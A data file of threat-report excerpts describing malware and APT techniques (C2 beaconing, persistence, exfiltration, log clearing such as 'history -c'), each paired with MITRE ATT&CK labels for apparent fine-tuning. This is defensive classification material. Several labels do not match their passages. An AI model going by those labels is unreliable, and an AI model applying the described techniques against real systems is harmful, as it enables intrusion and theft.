"OopsIE Trojan Analysis The OopsIE Trojan delivered in these attacks is packed with SmartAssembly and further obfuscated with ConfuserEx v1.0.0. The Trojan extracts and loads this embedded assembly by concatenating the contents of two resources named S1 and S2 and decompresses the resulting data using the GZipSteam class. The resulting Interop.SHDocVw .NET assembly is packed with SmartAssembly and further obfuscated using Confuser v1.9.0.0. By using the InternetExplorer application object, all C2 related requests will look as if they came from the legitimate browser and therefore will not contain any anomalous fields within the request, such as custom User-Agents. As seen in the above request, the Trojan will generate a URL for its beacon with the following structure: http://&lt;c2 domain&gt;/chk. hex(Environment.UserName/Environment.MachineName)&gt; The Trojan will issue a request to this URL to check (hence the chk string in the URL) to see if the C2 server has a command for the Trojan to run. The C2 server will respond to the Trojan’s request by echoing the value &lt;hex(Environment.UserName/Environment.MachineName)&gt; if it wishes to provide additional commands. If the C2 server does not respond with the appropriate echoed data, the Trojan will create a file named srvCheckresponded.tmp in the SpecialFolder.CommonApplicationData folder and write nothing to it before exiting. If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what commands the C2 wishes to run by issuing a request to the following URL: http://&lt;c2 domain&gt;/what. hex(Environment.UserName/Environment.MachineName)&gt; After issuing the what command, the Trojan will parse the C2's response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit",['T1071.001 - Application Layer Protocol: Web Protocols'],fine_tune
"The encrypted file names are appended with a string of random characters as the new extension. For example, it renames a file named “My_files.zip” to “My_files.zip.IAsnM”, “My_files2.zip” to “My_files2.zip.WZlF” and so on. Also, the threat actor creates the “RECOVER-FILES.txt” with ransom note in all folders that contain encrypted files, as shown in the figure below",['T1486 - Data Encrypted for Impact'],fine_tune
"Task 0x1: react_exec The react_exec command appears to execute a payload received from the server. Interestingly it attempts to first execute the payload directly from memory. Specifically it invokes a function named ei_run_memory_hrd which invokes the Apple NSCreateObjectFileImageFromMemory, NSLinkModule, NSLookupSymbolInModule, and NSAddressOfSymbol APIs to load and link the in-memory payload. In some cases the file will be set to executable via a call to chmod. Specifically it instructs the malware to spawn a background thread to execute a function named eilf_rglk_watch_routine. This function creates an event tap (via the CGEventTapCreate API), add it to the current runloop, then invokes the CGEventTapEnable to activate the event tap",['T1106 - Native API'],fine_tune
"Its functions include self-starting of the backdoor, collection of network configuration, keystroke records, and schedule other modules to execute by means of timers",['T1016 - System Network Configuration Discovery'],fine_tune
Talos has identified at least three different campaigns since July 2019. It is interesting to note that this threat actor uses HTTPS on the C2. They always use self-signed certificates,['T1587.003 - Digital Certificates'],fine_tune
"The malware will then write a base64 encoded PowerShell script (which is contained in xmlparse.dll as a resource) to \%TEMP%\enu1.ps1 and execute it. The script, intended for reconnaissance purposes, checks if a machine is part of a domain and if the user has Admin privileges or is part of the Admin Group",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"The malicious payload associated with the campaign appears to be a new version of Zeus Panda, a banking trojan designed to stealing banking and other sensitive credentials for exfiltration by attackers. The payload that Talos analyzed was a multi-stage payload, with the initial stage featuring several anti-analysis techniques designed to make analysis more difficult and prolonged execution to avoid detection. It also featured several evasion techniques designed to ensure that the malware would not execute properly in automated analysis environments, or sandboxes. The overall operation of the Zeus Panda banking trojan has been well documented, however Talos wanted to provide additional information about the first stage packer used by the malware. The malware will first query the system's keyboard mapping to determine the language used on the system. It will terminate execution if it detects the any of the following keyboard mappings","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1614.001 - System Location Discovery: System Language Discovery']",fine_tune
Grandoreiro also employs a technique for privilege escalation described in more detail here. The method relies on registering a binary as the default handler for .MSC files and then running such a file,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
"For the purpose of social engineering, the threat actor chose file names related to legitimate online services, including Microsoft OneDrive. In a few instances, we observed the use of file names resembling McAfee’s endpoint security product. Even the file icons for these binaries are selected to masquerade as the corresponding legitimate applications",['T1036 - Masquerading'],fine_tune
"Additionally, each beacon is accompanied with a screenshot that is initially saved as ‘scr.jpg’ in the public directory and subsequently issued to the C2 using the same HTTP POST request as in the ‘uploadsf’ command",['T1113 - Screen Capture'],fine_tune
"The TajMahal framework is an intriguing discovery that’s of great interest, not least for its high level of technical sophistication, which is beyond any doubt. For example, it has its own indexer, emergency C2s, is capable of stealing specific files from external drives when they become available again, etc","['T1083 - File and Directory Discovery', 'T1119 - Automated Collection', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
Analysis of the “log.dat” payloads determined them to be variants of the publicly available POSHC2 proxy-aware stager written to download and execute PowerShell payloads from a hardcoded command and control (C2) address. These particular POSHC2 samples run on the .NET framework and dynamically load payloads from Base64 encoded strings,['T1132.001 - Data Encoding: Standard Encoding'],fine_tune
"This threat group has conducted broad targeting across a variety of industries, including financial, government, energy, chemical, and telecommunications. Join us in a live webinar as we discuss this threat group whom we assess to be working on behalf of the Iranian Government, with a mission that would benefit nation-state geopolitical and economic needs. APT34 uses a mix of public and non-public tools, often conducting spear phishing operations using compromised accounts from trusted third parties, sometimes coupled with social engineering tactics. Register today to gain deeper insights into this threat group",['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],fine_tune
"The ‘tasklist’ command will use a WMI query or the “ps” command, which allows Kazuar to obtain running processes from both Windows and Unix systems. Also, Kazuar’s ‘cmd’ command will run commands using “cmd.exe” for Windows systems and “/bin/bash” for Unix systems. These two commands provide evidence that the authors of Kazuar intended to use this malware as a cross-platform tool to target both Windows and Unix systems","['T1047 - Windows Management Instrumentation', 'T1057 - Process Discovery']",fine_tune
"Obviously, the request sent to the C&amp;C is encoded with Base64. The bot subsequently receives its unique ID and uses it for identification at the start of the packet",['T1027 - Obfuscated Files or Information'],fine_tune
"1) Writes itself to %AppData%\Microsoft\Word\log.ps1 2) Sets up persistence for this file, using a run key. 3) Adds a registry key so that future powershell.exe instances are spawned off-screen by default – this trick is explained here. 6) Removes all registry entries that are left behind during the dropper process","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1564.003 - Hide Artifacts: Hidden Window', 'T1112 - Modify Registry']",fine_tune
After deobfuscation you can see “Imminent Monitor” string which may indicate it is related to Imminent Monitor RAT,"['T1070.004 - Indicator Removal on Host: File Deletion', 'T1123 - Audio Capture', 'T1125 - Video Capture']",fine_tune
"In February 2013, AlienVault performed analysis on the CallMe Trojan and found that it is based on a tool called Tiny SHell, an OSX shell tool whose source code is available on the Internet. The Trojan uses AES to encrypt the communication channel its C2 server, which will provide one of three commands to carry out activities on the compromised system, as seen in Table 4","['T1059.004 - Command and Scripting Interpreter: Bash', 'T1573.001 - Symmetric Cryptography']",fine_tune
"Aside from the aforementioned executables, the droppers also contained a remote access Trojan (RAT). The RAT executable allows criminals to perform various operations on a host, such as uploading/downloading, executing files, etc","['T1105 - Ingress Tool Transfer', 'T1547 - Boot or Logon Autostart Execution']",fine_tune
"CTU analysis indicates that BRONZE BUTLER primarily targets organizations located in Japan. The threat group has sought unauthorized access to networks of organizations associated with critical infrastructure, heavy industry, manufacturing, and international relations. Secureworks analysts have observed BRONZE BUTLER exfiltrating the following categories of data","['T1039 - Data from Network Shared Drive', 'T1005 - Data from Local System']",fine_tune
"The Trojan will attempt to inject code into these browsers to carry out its C2 communications. To carry out C2 communications via injected code in a remote process, the injected code reaches out to the C2 server and saves the response to a memory mapped file named SNFIRNW. Command and Control Communications In addition to being able to communicate with its C2 server from code injected into a web browser, the Trojan can also carry out the same communication process within its own process","['T1071.001 - Application Layer Protocol: Web Protocols', 'T1055 - Process Injection']",fine_tune
All the scripts are deleted immediately after being executed. TeamTNT also uses the “history -c” command to clear the shell log in every script,"['T1070.004 - Indicator Removal on Host: File Deletion', 'T1070.003 - Indicator Removal on Host: Clear Command History']",fine_tune
McAfee Advanced Threat Research (ATR) analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact,"['T1560 - Archive Collected Data', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1573.001 - Symmetric Cryptography']",fine_tune
"Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. Figure 6: Transparent Tribe's spear-phishing email targeting defense personnel. This is in line with previous reporting on Transparent Tribe's use of official COVID-19 applications and content to serve Android malware. Figure 7: Attached malicious XLS macro. Another lure targeted Indian Defense Advisors attached to various Indian embassies in Southeast Asia, as seen in Figure 8",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Execute a remote shell; - Silently start a program on a victim host; - Retrieve a list of processes from the victim host; - Terminate any process; - Upload/Download/Delete files to/from victim host; - Retrieve a list of available drives from the victim host; - Retrieve a filelist of a specified folder from the victim host,"['T1105 - Ingress Tool Transfer', 'T1083 - File and Directory Discovery']",fine_tune
"While the ports associated with this sample’s configuration pertain normally to HTTP, HTTPS, or DNS, network communication takes place via raw sockets","['T1095 - Non-Application Layer Protocol', 'T1571 - Non-Standard Port']",fine_tune
"If the victim appears valuable to the attackers, a GRIFFON implant installer is pushed to the victim’s workstation. This module stores another instance of the GRIFFON implant inside the registry to achieve persistence. Here is a PowerLinks-style method used by the attackers to achieve persistence and execute the GRIFFON implant at each user logon. The new GRIFFON implant is written to the hard drive before each execution, limiting the “file-less” aspect of this method",['T1059.007 - Command and Scripting Interpreter: JavaScript'],fine_tune
"This folder is used as a temporary location to copy all files from a newly connected logical drive to and upload them to the C2 server. The files are transferred to the hardcoded C2 server ""195.62.52.93"" one by one via HTTP POST method. The following request is used which also includes information about the victim, the file to be transferred as well as the source drive","['T1083 - File and Directory Discovery', 'T1041 - Exfiltration Over C2 Channel', 'T1071.001 - Application Layer Protocol: Web Protocols']",fine_tune
"It then modifies several registry key values to disable the IE browser’s functions such as auto-complete, auto-suggest, etc. The disabled keys are: ""Use FormSuggest"", ""FormSuggest Passwords"", ""FormSuggest PW Ask"" under the sub-key “HKCU\Software\Microsoft\Internet Explorer\Main”, and ""AutoSuggest"" under the sub-key ""HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete",['T1112 - Modify Registry'],fine_tune
"Indeed, any decent firewall would block incoming packets to any ports that have not explicitly been opened for operational purposes. However, with Chaos using a raw socket, the backdoor can be triggered on ports running an existing legitimate service. As an example, a Webserver that would only expose SSH (22), HTTP (80) and HTTPS (443) would not be reachable via a traditional backdoor due to the fact that those services are in use, but with Chaos it becomes possible",['T1205 - Traffic Signaling'],fine_tune
"The malicious script executed by the Microsoft Publisher file downloads and runs yet another JavaScript file, 0.js, hosted on the attacker-controlled server",['T1105 - Ingress Tool Transfer'],fine_tune
"The Netsh commands for Windows Firewall provide a command-line alternative to the capabilities of the Windows Firewall Control Panel utility. By using the Netsh firewall commands, you can configure and view Windows Firewall exceptions and configuration settings","['T1518.001 - Software Discovery: Security Software Discovery', 'T1562.004 - Impair Defenses: Disable or Modify System Firewall']",fine_tune
Strings in the malware are obfuscated using the RC4 algorithm and the decryption key stored inside the sample,['T1027 - Obfuscated Files or Information'],fine_tune
"This specific key is set to point towards the path of the previously copied Cardinal RAT executable path. The executable will periodically query this registry key to ensure it is set appropriately. If the executable finds the registry key has been deleted, it will re-set it. The Load registry key acts as a persistence mechanism, ensuring that this Cardinal RAT executes every time a user logs on",['T1112 - Modify Registry'],fine_tune
"Additional tools were recovered during the incident, including a network scanning/enumeration tool, the archiving tool WinRAR and a bespoke Microsoft SharePoint enumeration and data dumping tool, known as ‘spwebmember","['T1213.002 - Sharepoint', 'T1018 - Remote System Discovery', 'T1213.002 - Sharepoint']",fine_tune
Overall the code is very well written and designed to execute quickly to encrypt the defined files in the configuration of the ransomware. The embedded configuration file has some interesting options which we will highlight further in this article,['T1027 - Obfuscated Files or Information'],fine_tune
The group has the capability to set up phishing infrastructure to mimic well known websites and trick victims to enter their credentials. This is one of the main methods used by this actor to collect email addresses that later will be used to send spearphishing emails,['T1586.002 - Email Accounts'],fine_tune
"Use of custom routines to decrypt strings (Deobfuscate/Decode Files or Information [T1140]) - Ability to self-delete once installed (Indicator Removal on Host: File Deletion [T1070.004]) - Masquerade as GrowlHelper (Masquerading: Masquerade Task or Service [T1036.004]) - And as Software Update Check (Masquerading: Masquerade Task or Service [T1036.004]) - Decrypt strings in-memory, per CIA guidelines (Obfuscated Files or Information [T1027",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"With the emergence of the Log4j security vulnerability, we’ve already seen multiple threat actors, mostly financially motivated, immediately add it to their exploitation arsenal. It comes as no surprise that some nation-sponsored actors also saw this new vulnerability as an opportunity to strike before potential targets have identified and patched the affected systems",['T1595.002 - Vulnerability Scanning'],fine_tune
"The attack group has made incremental changes to ZeroT since our last analysis. The encrypted ZeroT payload, named Mctl.mui, is decoded in memory revealing a similarly tampered PE header and only slightly modified code when compared to ZeroT payloads we analyzed previously",['T1573.001 - Symmetric Cryptography'],fine_tune
"Depending on the Ramsay version, file collection won’t be restricted to the local system drive, but also will search additional drives such as network or removable drives",['T1039 - Data from Network Shared Drive'],fine_tune
"We were able to expand on some of the findings about the group and provide insights into the additional variants that it uses. We were able to trace the implant back to at least 2015, where it also had variants intended to hijack the execution of the Telegram and Chrome applications as a persistence method",['T1036.005 - Masquerading: Match Legitimate Name or Location'],fine_tune
"During execution, the code employs byte randomization to obscure its behavior. This is achieved by using the host’s current time as a seed for a pseudorandom number generator, and then performing additional operations against that output. The resulting values are used to overwrite blocks of previously executed code. This byte manipulation is the first anti-analysis technique observed in the code, as any attempt to dump the memory segment would result in illegitimate or incorrect operations",['T1001.001 - Junk Data'],fine_tune
The worm deploys the XMRig mining tool to mine monero crypto-currency and generate cash for the attackers. One of the Mining pools they use provides detailed information about the systems the worm has compromised,['T1496 - Resource Hijacking'],fine_tune
"Avira’s Advanced Threat Research team, has been tracking Mustang Panda APT for a while. According to Avira’s telemetry data, Mustang Panda mostly targets Asia-Pacific (APAC) countries and uses Cobalt or PlugX as payload","['T1204.002 - User Execution: Malicious File', 'T1049 - System Network Connections Discovery', 'T1560.001 - Archive Collected Data: Archive via Utility', 'T1057 - Process Discovery', 'T1016 - System Network Configuration Discovery', 'T1083 - File and Directory Discovery']",fine_tune
"It also deletes Windows Event Logs : Application, Security, Setup, System. It is less focused on deleting documents",['T1070.001 - Indicator Removal on Host: Clear Windows Event Logs'],fine_tune
"We have been tracking RDAT since 2017, when we first saw this tool uploaded to a webshell related to the TwoFace webshell discussed in our Striking Oil blog published on September 26, 2017. RDAT has been under active development since 2017, resulting in multiple variations of the tool that rely on both HTTP and DNS tunneling for C2 communications. In June 2018, the developer of RDAT added the ability to use Exchange Web Services (EWS) to send and receive emails for C2 communications. This email-based C2 channel is novel in its design, as it relies on steganography to hide commands and exfiltrates data within BMP images attached to the emails. The combination of using emails with steganographic images to carry the data across the C2 can result in this activity being much more difficult to detect and allow for higher chances of defense evasion","['T1071.003 - Mail Protocols', 'T1001.002 - Data Obfuscation via Steganography']",fine_tune
"Comnie Malware Family Comnie uses the RC4 algorithm in multiple locations both to obfuscate strings used by the malware, as well as for network communication. More information about how Comnie handles identified security products may be found in the technical analysis in the Appendix. Comnie is able to achieve persistence via a .lnk file that is stored within the victim’s startup path. When originally run, Comnie will convert itself from an executable file to a DLL and will write this newly created DLL to the host machine’s %APPDATA% directory. Unit 42 has observed a total of two variants of Comnie. In older variants, Comnie was found to look for the ‘++a++’ markers. The example C2s used by older variants of Comnie demonstrates this",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"DropBook’s capabilities include checking installed programs and file names for reconnaissance, executing shell commands received from Facebook or Simplenote, and fetching additional payloads from Dropbox and running them","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1105 - Ingress Tool Transfer', 'T1083 - File and Directory Discovery']",fine_tune
"The malware uploads the stolen data to third-party cloud storage providers. The sample identified in the wild is configured to upload to pCloud, but functionality to upload to Dropbox, Box and Yandex Cloud is also included",['T1102.002 - Bidirectional Communication'],fine_tune
"Valak C2 traffic returns data as encoded ASCII text that is decoded on the victim host and saved as malware items like script files, EXE used during the infection and data for registry updates for the Valak infection","['T1564.004 - Hide Artifacts: NTFS File Attributes', 'T1132.001 - Data Encoding: Standard Encoding', 'T1132.001 - Data Encoding: Standard Encoding']",fine_tune
"In addition to the encrypted strings table, BitPaymer replaces the remaining strings in the binary with hashes and uses an algorithm to match these hashes with strings that exist on the host. The hash algorithm has been replicated in Python below",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage",['T1059.001 - Command and Scripting Interpreter: PowerShell'],fine_tune
"In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. Also, its configuration is encrypted and is not base64 encoded anymore",['T1560 - Archive Collected Data'],fine_tune
"The “sysid” parameter contains a campaign ID in newer versions of the malware, the Windows version running on the infected machine, system architecture, username, and a random integer",['T1082 - System Information Discovery'],fine_tune
"Two days later, a second email — purportedly a warning from a Pakistani military about the Pegasus spyware — containing a cutt.ly link to a malicious encrypted Word document and the password for decryption will be sent to the target. The sender address impersonates a service similar to that on the first email (alert@ispr.gov.pk",['T1566.002 - Phishing: Spearphishing Link'],fine_tune
"Key points PureCrypter is a fully-featured loader being sold since at least March 2021 The malware has been observed distributing a variety of remote access trojans and information stealers The loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus softwar",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"The Gamaredon group has been active since at least 2013. Contrary to other APT groups, the Gamaredon group seems to make no effort in trying to stay under the radar. Typical Gamaredon compromise chain . While most of the recent publications have focused on the spearphishing emails together with the downloaders they contain, this blogpost focuses on the post-compromise tools deployed on these systems. Office macro injection module – CodeBuilder . We analyzed different variants of malicious modules used by the Gamaredon group to inject malicious macros or remote templates into documents already present on the compromised system. It then scans for documents with valid Word or Excel file extensions on all drives connected to the system. The most prevalent tools downloaded and installed on compromised machines can be broadly grouped into two different categories: downloaders and backdoors. Backdoors – file stealers . While some variations exist in functionalities, the main purpose of these modules is to enumerate all documents on a compromised system and upload them to the C&amp;C server. The behavior of this module is quite straightforward: it scans the system for new Microsoft Office documents, both on local and removable drives, and uploads them to the C&amp;C server. Quality of execution . We were able to collect numerous different samples of malicious scripts, executables and documents used by the Gamaredon group throughout their campaigns. Conclusion . Despite the simplicity of most of their tools, the Gamaredon group also is capable of deploying some novelty, such as their Outlook VBA module",['T1119 - Automated Collection'],fine_tune
"Emotet is an advanced, modular banking Trojan that primarily functions as a downloader or dropper of other banking Trojans. Additionally, Emotet is a polymorphic banking Trojan that can evade typical signature-based detection. It has several methods for maintaining persistence, including auto-start registry keys and services. Furthermore, Emotet is Virtual Machine-aware and can generate false indicators if run in a virtual environment",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"The vmtools.dll file is a modified DLL that both ensures persistence and loads MSBuild.exe, which is the BADNEWS malware renamed to spoof a legitimate Microsoft Visual Studio tool. A number of commands are provided to the attackers, including the ability to download and execute additional information, upload documents of interest, and take screenshots of the desktop. This malware family used the new mutex ‘com_mycompany_apps_appname_new’. This variant of BADNEWS uses different filenames compared to previous versions. All of these files reside in the victim’s %TEMP% directory: Other changes we noticed in this variant include how the malware obfuscates C2 information stored via dead drop resolvers. BADNEWS performs many of the expected functions associated with previous versions including keylogging and identifying files of interest. Unlike a previously reported variant, this version of BADNEWS no longer looks at USB drives for interesting files. It continues to seek out files with the following extensions: In order to prepare for C2 communication, BADNEWS will aggregate various victim information, which is appended to two strings. C2 communication is also updated from prior versions, with the following commands now supported by BADNEWS: During C2 communications, BADNEWS will communicate to the C2 previously identified via HTTP. Through the use of relatively new exploits, as well as a constantly evolving malware toolset, they aim to compromise prominent organizations and individuals to further their goals. One of the malware families tied to this group, BADNEWS, continues to be updated both in how it uses dead drop resolvers, as well as how it communicates with a remote C2 server",['T1105 - Ingress Tool Transfer'],fine_tune
"Fast-paced intrusion • Very stealthy • Rapidly changing tactics • Employed advanced attack techniques 4) 4. All rights reserved.23 Our Response: Tackled Attacker WMI Usage ADVANCED ATTACK TECHNIQUES 24) 24. Captured entire functions of PS scripts, attacker commands, script output, etc. Wrote indicators based on observed attacker activity • Identified lateral movement, unique backdoors, credential theft, data theft, recon, persistence creation, etc. All rights reserved.25 Our Response: Increased PowerShell Visibility ADVANCED ATTACK TECHNIQUES 26) 26. All rights reserved.27 Our Response: Addressed Ticket Attacks ADVANCED ATTACK TECHNIQUES Event ID 4624 Event ID 4672 Event ID 4634 28) 28. All rights reserved.29 BONUS SLIDE: Even More WMI + PS FUN FACT: We saw the attacker test this backdoor before deployment 30) 30",['T1550.003 - Use Alternate Authentication Material: Pass the Ticket'],fine_tune
Stage2.exe is a beaconing implant that performs an HTTPS connection to download a JPG file hosted on Discord’s content delivery network (CDN). Discord’s CDN is a user-created service that allows users to host attachments and is not malicious. The hosted file is retrieved from the following URL,['T1102 - Web Service'],fine_tune
"Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library (.dll) files. The malware uses a custom binary protocol to beacon back to the command and control (C2) server, often via TCP port 8080 or 8088, with some payloads implementing Secure Socket Layer (SSL) encryption to obfuscate communications",['T1573.002 - Asymmetric Cryptography'],fine_tune
Encrypting the data. Exfiltrating gathered data through a POST request or by uploading it to an FTP server. Sending execution logs to a remote server,['T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol'],fine_tune
"Spreadsheets and documents with customer lists, investments and trading operations - Internal presentations - Software licenses and credentials for trading software/platforms - Cookies and session information from browsers - Email credentials - Customer credit card information and proof of address/identity documents",['T1539 - Steal Web Session Cookie'],fine_tune
"The C# variant of RogueRobin attempts to detect if it is executing in a sandbox environment using the same commands as in the PowerShell variant of RogueRobin. The series of commands, as seen in Table 2, include checks for virtualized environments, low memory, and processor counts, in addition to checks for common analysis tools running on the system. The Trojan also checks to see if a debugger is attached to its processes and will exit if it detects the presence of a debugger","['T1047 - Windows Management Instrumentation', 'T1497.001 - Virtualization/Sandbox Evasion: System Checks']",fine_tune
"APT39 facilitates lateral movement through myriad tools such as Remote Desktop Protocol (RDP), Secure Shell (SSH), PsExec, RemCom, and xCmdSvc. Custom tools such as REDTRIP, PINKTRIP, and BLUETRIP have also been used to create SOCKS5 proxies between infected hosts. In addition to using RDP for lateral movement, APT39 has used this protocol to maintain persistence in a victim environment. To complete its mission, APT39 typically archives stolen data with compression tools such as WinRAR or 7-Zip","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1021.004 - Remote Services: SSH', 'T1018 - Remote System Discovery', 'T1560.001 - Archive Collected Data: Archive via Utility', 'T1021.001 - Remote Services: Remote Desktop Protocol', 'T1090.001 - Proxy: Internal Proxy']",fine_tune
"is responsible for a vast amount of information stealing, and is able to collect information through hooking, clipboard usage, and monitoring the keystate",['T1115 - Clipboard Data'],fine_tune
"At this time, Janicab is not detected by most anti-virus software, and it slips right past the built-in defenses of Mac OS X in the hands of an unobservant or unsavvy user. Further, seeing other malware using a signed app is troubling, as it may indicate that Gatekeeper will not offer as much security as had been hoped for",['T1553.002 - Code Signing'],fine_tune
"All this information is stored in the C:\Users\Public\Videos\si.ini file and sent in an email message, as an attachment, via SMTPS, using the default port 465. The email body contains the string SI (which probably stands for System Information), the recipient is sym777.g@post.cz. For all email exchange, the message’s Subject: set to the id",['T1074.001 - Data Staged: Local Data Staging'],fine_tune
"If no exceptions occur, the Windows executable drops a DLL file in the user's AppData\Local\Temp\ directory, creates a randomly-named folder under C:\ProgramData\ directory and moves the DLL under that folder as a random file name. This Redaman DLL is made persistent through a scheduled Windows task with the following properties",['T1036.004 - Masquerading: Masquerade Task or Service'],fine_tune
"This report provides background on Windows container vulnerabilities, gives a technical overview of Siloscape and offers recommendations on best practices for securing Windows containers",['T1068 - Exploitation for Privilege Escalation'],fine_tune
"Fine-tuning DaserfOur analyses revealed Daserf regularly undergo technical improvements to keep itself under the radar against traditional anti-virus (AV) detection. Daserf 1.72 and later versions use the alternative base64+RC4 to encrypt the feedback data, while others use different encryption such as 1.50Z, which uses the Ceasar cipher (which substitutes letters in plaintext with another that corresponds to a number of letters, either upwards or downwards","['T1027.002 - Obfuscated Files or Information: Software Packing', 'T1027.005 - Indicator Removal from Tools', 'T1027 - Obfuscated Files or Information']",fine_tune
"MSTIC previously tracked ACTINIUM activity as DEV-0157, and this group is also referred to publicly as Gamaredon","['T1105 - Ingress Tool Transfer', 'T1608.001 - Upload Malware', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1059.005 - Command and Scripting Interpreter: Visual Basic']",fine_tune
"At first glance, these links generally cause less suspicion for the targets. After opening the links and several redirections, the victims are led to final phishing domains such as “mobile[.]recover-session-service[.]site” etc",['T1583.001 - Domains'],fine_tune
"On July 18, 2018, one day after the AZORult update above was announced, we observed a campaign delivering thousands of messages targeting North America that used the new version of AZORult. The messages used employment-related subjects such as “About a role” and “Job Application”. The attached documents used file names in the format of “firstname.surname_resume.doc",['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"The final payload created by the aforementioned process is a well known backdoor, also known as ROKRAT by Cisco Talos. One of its main functions is to steal information. Upon execution, this malware creates 10 random directory paths and uses them for a specially designated purpose",['T1083 - File and Directory Discovery'],fine_tune
"The executables installed by the compiled AutoIt scripts is a backdoor that Molerats has used in many attack campaigns. Based on our research, the Spark backdoor has been used by Molerats since at least early 2017, as it was the main payload in the Operation Parliament campaign reported by Kaspersky",['T1218.007 - Signed Binary Proxy Execution: Msiexec'],fine_tune
"To obtain the session ID and pre-shared key, the payload will issue a query to resolve the following domain: mail. random number between 100000 and 999999&gt;.&lt;c2 name&gt; This request notifies the C2 server that the payload is about to send system specific data as part of the initial handshake",['T1016 - System Network Configuration Discovery'],fine_tune
"Numbered Panda has a long list of high-profile victims and is known by a number of names including: DYNCALC, IXESHE, JOY RAT, APT-12, etc. Numbered Panda has targeted a variety of victims including but not limited to media outlets, high-tech companies, and multiple governments. Numbered Panda has targeted organizations in time-sensitive operations such as the Fukushima Reactor Incident of 2011, likely filling intelligence gaps in the ground cleanup/mitigation operations. One of the most interesting techniques that Numbered Panda likes to use is to dynamically calculate the Command and Control (C2) port by resolving a DNS. The malware will typically use two DNS names for communication: one is used for command and control; the other is used with an algorithm to calculate the port to communicate to. There are several variations of the algorithm used to calculate the C2 port, but one of the most common is to multiply the first two octets of the IP address and add the third octet to that value. Numbered Panda will frequently use blogs or WordPress in the c2 infrastructure, which helps to make the network traffic look more legitimate. CrowdStrike has observed Numbered Panda targeting high-tech, defense contractors, media organizations, and western governments. Disclosure of this information went through the same IGL process as discussed in the Whois Anchor Panda blog post",['T1102.002 - Bidirectional Communication'],fine_tune
"To perform this task, the developer used the GDI API: A keylogger is also present in the analyzed sample. The SetWindowsHookEx() API is used to retrieve the stroked keys. The GetKeyNameText() API is used to retrieve a string that represents the name of a key. In addition to the key, the title of the foreground window is stored in order to known where the infected user is typing (by using the GetForegroundWindow() and GetWindowText() API",['T1010 - Application Window Discovery'],fine_tune
"Key Points PrivateLoader is a downloader malware family that was first identified in early 2021 The loader’s primary purpose is to download and execute additional malware as part of a pay-per-install (PPI) malware distribution service PrivateLoader is used by multiple threat actors to distribute ransomware, information stealers, banking t",['T1105 - Ingress Tool Transfer'],fine_tune
"AT&amp;T Alien Labs has discovered new malicious files distributed by the threat actor TeamTNT. The use of open-source tools like Lazagne allows TeamTNT to stay below the radar for a while, making it more difficult for anti-virus companies to detect","['T1082 - System Information Discovery', 'T1049 - System Network Connections Discovery']",fine_tune
It also creates a pipe for inter-process communication (IPC) by calling the pipe() function for getting two file descriptors for reading and writing data. It also enables non-blocking I/O for the writing file descriptor by using ioctl,['T1559 - Inter-Process Communication'],fine_tune
"The threat actor abused the stolen credentials to create rogue, high-privileged domain user accounts which they then used to take malicious action. By creating these accounts, they ensured they would maintain access between different waves of the attack. Once the threat actor regains their foothold, they already have access to a high-privileged domain user account","['T1078 - Valid Accounts', 'T1136.002 - Create Account: Domain Account']",fine_tune
"Since September of 2018, Redaman banking malware has been distributed through malspam. These emails have file attachments. These file attachments are archived Windows executable files disguised as a PDF document. In September 2018, the attachments were zip archives. In October 2018, the attachments were zip archives, 7-zip archives, and rar archives. In November 2018, the attachments were rar archives. And in December 2018, the attachments changed to gzip archives with file names ending in .gz","['T1027 - Obfuscated Files or Information', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1036 - Masquerading']",fine_tune
Volexity has worked with multiple victim organizations to assist with incident response efforts and to remedy their compromised systems. This process lead to the identification of different ways the OceanLotus group gains access to the compromised websites and how they maintain access,['T1505.003 - Server Software Component: Web Shell'],fine_tune
"Anomali Labs has detected a new campaign by the threat group Rocke. In this campaign, the group has changed from using a Python-based malware to a malware written in Golang. The detection of this new malware is nearly non-existent. In addition, the group uses a private mining pool to reduce the risks of being detected",['T1059.006 - Command and Scripting Interpreter: Python'],fine_tune
